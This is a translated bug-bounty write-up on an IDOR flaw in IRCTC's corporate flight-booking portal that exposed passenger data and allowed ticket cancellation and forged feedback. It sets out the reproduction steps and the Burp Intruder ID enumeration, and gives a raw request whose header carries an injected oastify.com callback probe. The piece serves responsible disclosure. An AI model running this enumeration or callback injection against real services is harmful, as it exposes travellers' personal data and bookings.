
Пошаговый разбор того, как простая уязвимость IDOR раскрыла конфиденциальные личные данные, позволила несанкционированное отправление отзывов и сделала возможной отмену билетов на рейсы, что затронуло пассажиров по всей Индии.
Введение
IRCTC (Корпорация питания и туризма Индийских железных дорог) была основана в 1999 году при Министерстве железных дорог и является цифровым центром Индийских железных дорог, управляющим онлайн-бронированием, питанием и туризмом. На 2025 год она обслуживает более 66 миллионов пользователей, ежедневно обрабатывает более 730 000 бронирований и отвечает за 86% всех забронированных железнодорожных билетов. С 8 миллионами посещений в день IRCTC является крупнейшей туристической платформой в Индии и второй по загруженности в мире, обслуживая одну из крупнейших железнодорожных сетей. В 2024–25 годах IRCTC заработала около 5,5 миллиардов долларов, что делает ее важным игроком в сфере электронной коммерции и целью как для этичных хакеров, так и для киберугроз.
Что такое IDOR?
IDOR (небезопасная прямая ссылка на объект) — это тип уязвимостей, который возникает, когда приложение позволяет пользователям получать доступ к данным или действиям, просто изменив значение в URL или запросе, например, идентификатор пользователя или номер билета, без должной проверки авторизации.
Например, если изменение userid=123 на userid=124 в URL позволяет увидеть личную информацию другого пользователя, это является IDOR уязвимостью.
Как я нашел эту уязвимость
Во время тестирования корпоративного портала IRCTC, который обрабатывает крупные заказы для государственных организаций, государственных предприятий и корпоративных партнеров (не для обычных пассажиров), я обнаружил критическую IDOR уязвимость (небезопасная прямая ссылка на объект). Этот баг предоставил мне полный доступ к личной информации миллионов пользователей и позволил выполнять несанкционированные действия, такие как:
Получать полную информацию о билетах на рейс (да, IRCTC также предоставляет услуги по бронированию авиабилетов через свой корпоративный портал)
Получать доступ к номерам паспортов, номерам телефонов, электронным адресам, датам рождения и адресам
Отправлять отзывы от имени другого пользователя
Отменять забронированные билеты другого человека
Примечание: Портал предназначен для бронирования билетов на внутренние и международные рейсы, предлагая низкие тарифы, специальные предложения и минимальные сборы за обслуживание. Он особенно популярен среди государственных служащих, ищущих тарифы LTC (компенсация за отпускные поездки), и корпоративных путешественников.
Шаги для воспроизведения
1) Я начал с входа в корпоративный портал бронирования IRCTC, используя действующий корпоративный аккаунт.
2) После входа я перешел в раздел истории бронирования/деталей транзакций, чтобы просмотреть прошлые бронирования рейсов.

3) Затем я нажал на кнопку "Печать" для одного из бронирований, после чего в браузере загрузилась полная информация о билете на рейс.


4) В URL я заметил параметр transactionId, закодированный в Base64. Я расшифровал его с помощью стандартного декодера Base64, что дало простую числовую идентификацию (например, 4400138432).
5) Я изменил этот числовой ID, увеличив последние четыре цифры, а затем закодировал его обратно в Base64 и также URL закодировал, обновил URL и перезагрузил страницу.

6) К моему удивлению, портал вернул полные данные бронирования другого пользователя и полную историю поездок без какой-либо формы авторизации.
Автоматизация эксплуатации с помощью Burp Suite
7) Я зафиксировал этот уязвимый запрос в истории HTTP Burp Suite и отправил его на вкладку Repeater.

8) С этого момента я начал вручную изменять значения transactionId на случайные, выглядящие действительными числа, и отправлять запросы.
GET /aircorpNewUser/air/bookingconfirmation?transactionId=[id-values] HTTP/1.1
Host:
www.corporate.irctc.co.in
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer [REDACTED]
Sec-Ch-Ua: "Brave";v="137", "Chromium";v="137", vrqlka46qrbf93homgeywsf3augl4bs0.oastify.com"Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: application/json, text/plain, /
Dnt: 1
Content-Type: application/json
Sec-Gpc: 1
Accept-Language: en;q=0.6
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer:
https://www.corporate.irctc.co.in/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive


Каждый действительный ID возвращал личные данные о поездках других людей, что подтверждало наличие серьезной IDOR уязвимости.
9. Как только я изменил transactionId в URL, я смог увидеть полные детали билета других пользователей без каких-либо форм аутентификации или проверки прав доступа. Тут содержались высокочувствительные данные, такие как:

{
"status": "SUCCESS",
"message": "",
"data": {
"ticketInfo": [
{
"airline": "REDACTED",
"airlineName": "REDACTED",
"flightNumber": "REDACTED",
"origin": "REDACTED",
"destination": "REDACTED",
"departureTime": "REDACTED",
"arrivalTime": "REDACTED",
"duration": "REDACTED",
"pnr": "REDACTED",
"originCity": "REDACTED",
"destinationCity": "REDACTED",
"passengers": [
{
"firstName": "REDACTED",
"lastName": "REDACTED",
"status": "REDACTED",
"ticketNo": "REDACTED",
"paxNo": "REDACTED",
"segmentNo": "REDACTED",
"oid": "REDACTED",
"paxType": "REDACTED",
"age": null,
"dob": null,
"title": "REDACTED",
"ffNumber": "",
"seatNo": null,
"seatPrice": null,
"seatStatus": null,
"empCode": null
}
],
"originAirport": "REDACTED",
"destinationAirport": "REDACTED",
"tarvelClass": "REDACTED",
"segmentType": null,
"segmentNo": "REDACTED",
"isFreeMeal": true,
"spPnr": "REDACTED",
"barcode": null,
"isSeatEnabled": true
}
],
"lstIrFbFareDetail": [
{
"id": {
"oid": "REDACTED",
"passengerNoFare": "REDACTED",
"segmentNoFare": "REDACTED"
},
"airRefundStatus": null,
"airlineDiscount": 0,
"airlinePnr": "REDACTED",
"airlineTransactionFee": null,
"baseFare": "REDACTED",
"commission": "REDACTED",
"fareBasisCode": "REDACTED",
"fareType": "REDACTED",
"spPnr": "REDACTED",
"subTotalFare": "REDACTED",
"ticketNo": "REDACTED",
"tktBookingStatusFare": "REDACTED",
"totalParamsRecieved": "REDACTED",
"total": "REDACTED",
"cancelPnr": "REDACTED",
"retrievePnr": "REDACTED",
"spCommission": "REDACTED",
"zoneId": "REDACTED",
"roId": "REDACTED",
"gdsNavApiId": "REDACTED"
}
],
"lstIrFbPassengerDetail": [
{
"id": {
"oid": "REDACTED",
"passengerNo": "REDACTED"
},
"firstName": "REDACTED",
"lastName": "REDACTED",
"emailId": "REDACTED",
"mobileNo": "REDACTED"
}
],
"lstIrFbFlightDetail": [
{
"id": {
"oid": "REDACTED",
"segmentsNo": "REDACTED"
},
"airline": "REDACTED",
"airlinePnrNo": "REDACTED",
"arrivalTime": "REDACTED",
"cabinClass": "REDACTED",
"departureTime": "REDACTED",
"flightNo": "REDACTED",
"segmentDestination": "REDACTED",
"segmentOrigin": "REDACTED",
"spPnrNo": "REDACTED",
"via": "REDACTED",
"segmentKey": "REDACTED",
"spCommission": "REDACTED",
"operatingAirlineName": "REDACTED",
"duration": "REDACTED"
}
],
"lstIrFbExtraInfo": {
"baggages": [],
"meals": [],
"additional": []
},
"irFbServiceCharge": {
"id": 0
},
"irFlightsBook": {
"oid": "REDACTED",
"airUserAlias": "REDACTED",
"bookerAddress1": "REDACTED",
"bookerCity": "REDACTED",
"bookerCountry": "REDACTED",
"bookerEmail": "REDACTED",
"bookerName": "REDACTED",
"bookerPhone": "REDACTED",
"bookerPincode": "REDACTED",
"bookerState": "REDACTED",
"irFlBookingRefNo": "REDACTED",
"destination": "REDACTED",
"origin": "REDACTED",
"transactionId": "REDACTED",
"userId": "REDACTED"
},
"bookingDate": "REDACTED",
"irFbTransaction": {
"oid": "REDACTED",
"invoiceNo": "REDACTED",
"bookingRefNo": "REDACTED",
"ipAddress": "REDACTED",
"transactionId": "REDACTED",
"userId": "REDACTED",
"gstNumber": "REDACTED",
"gstEmail": "REDACTED",
"gstCompanyName": "REDACTED",
"invoiceNoServiceCharge": "REDACTED",
"qrCodeUrl": "REDACTED",
"qrCodeServiceCharge": "REDACTED",
"gstPinCode": "REDACTED",
"tourCode": "REDACTED"
},
"contacts": [
{
"name": "REDACTED",
"code": "REDACTED",
"web": "REDACTED",
"cont": "REDACTED"
}
]
},
"userDetails": null
}
Масштабирование эксплуатации с использованием Burp Suite Intruder
9) Ручное тестирование каждого ID было неэффективным, поэтому я отправил тот же запрос в Burp Suite Intruder. Я выбрал последние 4 цифры числового transactionId и настроил набор полезных нагрузок в диапазоне от 1111 до 9999.

10) После запуска атаки я заметил, что значительное количество запросов вернуло ответы HTTP 200. Каждый из этих ответов соответствовал действительным, доступным данным бронирования разных пользователей, которые утекали без какой-либо аутентификации или контроля доступа.


Это явно демонстрирует, что мне удалось получить доступ к большому количеству деталей бронирования пользователей без какой-либо аутентификации или проверки авторизации. Проблема возникает из-за слабых механизмов аутентификации и нарушенного контроля доступа, что позволяет любому пользователю получить доступ к конфиденциальным данным просто манипулируя transactionId.
Авиабилеты и личные данные о путешествиях должны быть строго доступными только их владельцам. Однако в данном случае любой вошедший в систему пользователь мог получить доступ к личной информации других, что представляет серьезный риск для безопасности и конфиденциальности. Это классический пример критической IDOR уязвимости, которая может привести к массовому раскрытию данных и несоответствию нормативным требованиям.
Несанкционированное аннулирование билетов через IDOR
При исследовании корпоративного портала бронирования IRCTC я обнаружил, что ту же IDOR уязвимость можно потенциально использовать для аннулирования авиабилетов, забронированных другими пользователями. Анализируя запрос на аннулирование и наблюдая за использованием закодированного в Base64 transactionId, стало очевидно, что манипуляция этим значением может позволить злоумышленнику инициировать несанкционированные запросы на аннулирование, даже не будучи законным владельцем билета.
Хотя я не стал проводить фактическое аннулирование, отсутствие должной проверки прав собственности явно указывало на критический недостаток контроля доступа.
https://www.corporate.irctc.co.in/#/cancellation?transactionId=[id-values]

Что еще более тревожно, так это то, что это действие можно было выполнить напрямую через веб-сайт, просто введя чужой transactionId. Не требовалось никаких инструментов, таких как Burpsuite. Это представляет собой серьезный недостаток безопасности, влияющий на любого корпоративного пользователя, который забронировал авиабилет.
Если эту уязвимость использовать в больших масштабах, это может привести к массовым сбоям в обслуживании, внутреннему Operational Chaos в организации и даже финансовым потерям из-за несанкционированных аннулирований билетов.
Несанкционированная подача отзывов через IDOR
Я также обнаружил еще одну IDOR уязвимость, которая позволяла отправлять отзывы или комментарии от имени других пользователей. Изменив параметр userId в запросе, можно было оставить отзыв, связанный с другим аккаунтом пользователя, без его ведома или согласия. Это не только нарушает целостность пользователя, но и открывает дверь для подделки личности и злоупотребления системой.
https://www.corporate.irctc.co.in/#/feedback/[id-values]


Как видно на скриншоте, я смог получить доступ к странице отзывов другого пользователя, что раскрывает личные данные, такие как номер телефона, адрес электронной почты, информацию о корпоративной принадлежности. Особенно важно отметить, что некоторые аккаунты принадлежали чувствительным организациям, таким как NSG (элитное антитеррористическое подразделение Индии) и Assam Rifles, старейшему парамилитарному формированию страны, действующему при Министерстве внутренних дел, а также нескольким другим военным формированиям. Этот уровень несанкционированного доступа представляет собой серьезный риск для национальной безопасности, так как его можно использовать для подделки личности, распространения дезинформации или нанесения ущерба репутации.
Злоумышленник мог бы легко использовать функцию отзывов для:
- Порчи репутации системы IRCTC.
- Создания проблем с аудитом.
- Запуска внутренних проверок на основании ложных негативных отзывов.
Тестирование Blind XSS в функции отзывов
При тестировании формы обратной связи я заметил поля ввода, такие как имя, должность и предложения, которые принимают пользовательский контент. Я вставил в эти поля несколько Blind XSS нагрузок и заметил, что валидация или обработка вводимых данных отсутствует.
Если эти данные будут обработаны в панели администратора бэкенда или внутренней панели управления, это может потенциально вызвать Blind XSS, предоставив доступ к интерфейсу администратора или данным сессии и значительно повысить уровень критичности уязвимости.

Устранение: Как разработчики могут предотвратить это
Чтобы смягчить эту уязвимость и предотвратить аналогичные проблемы в будущем, я рекомендовал следующее:
- Принудительная проверка авторизации: Каждый ресурс должен проверять, имеет ли запрашивающий доступ к данным или право на их использование.
- Доступ на основе токенов: Связывать сеансы пользователей и ресурсы с токенами, ограниченными по времени и организации.
- Ограничение частоты запросов и мониторинг: Обнаруживать попытки перебора идентификаторов.
- Журналы аудита: Вести логи для выявления попыток неавторизованного доступа.
Хронология и процесс раскрытия информации
Я сообщил об этой проблеме со всеми деталями, PoC, скриншотами и анализом воздействия.
Хронология:
- Дата обнаружения и сообщения: 26 июня 2025 года
- Тикет был назначен: 27 июня 2025 года
- Исправление реализовано и подтверждено: 11 июля 2025 года

Заключение
Эта уязвимость подчеркивает, почему IDOR остается одной из самых распространенных и опасных проблем, особенно на платформах, таких как IRCTC, которые обрабатывают огромные объемы бронирований и чувствительных данных. Один упущенный эндпоинт может подвергнуть риску миллионы. Я надеюсь, что это открытие вдохновит других специалистов в области безопасности более глубоко изучать IDOR, они могут показаться простыми, но их влияние может быть огромным.
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Tzimie
Почему то я не удивлен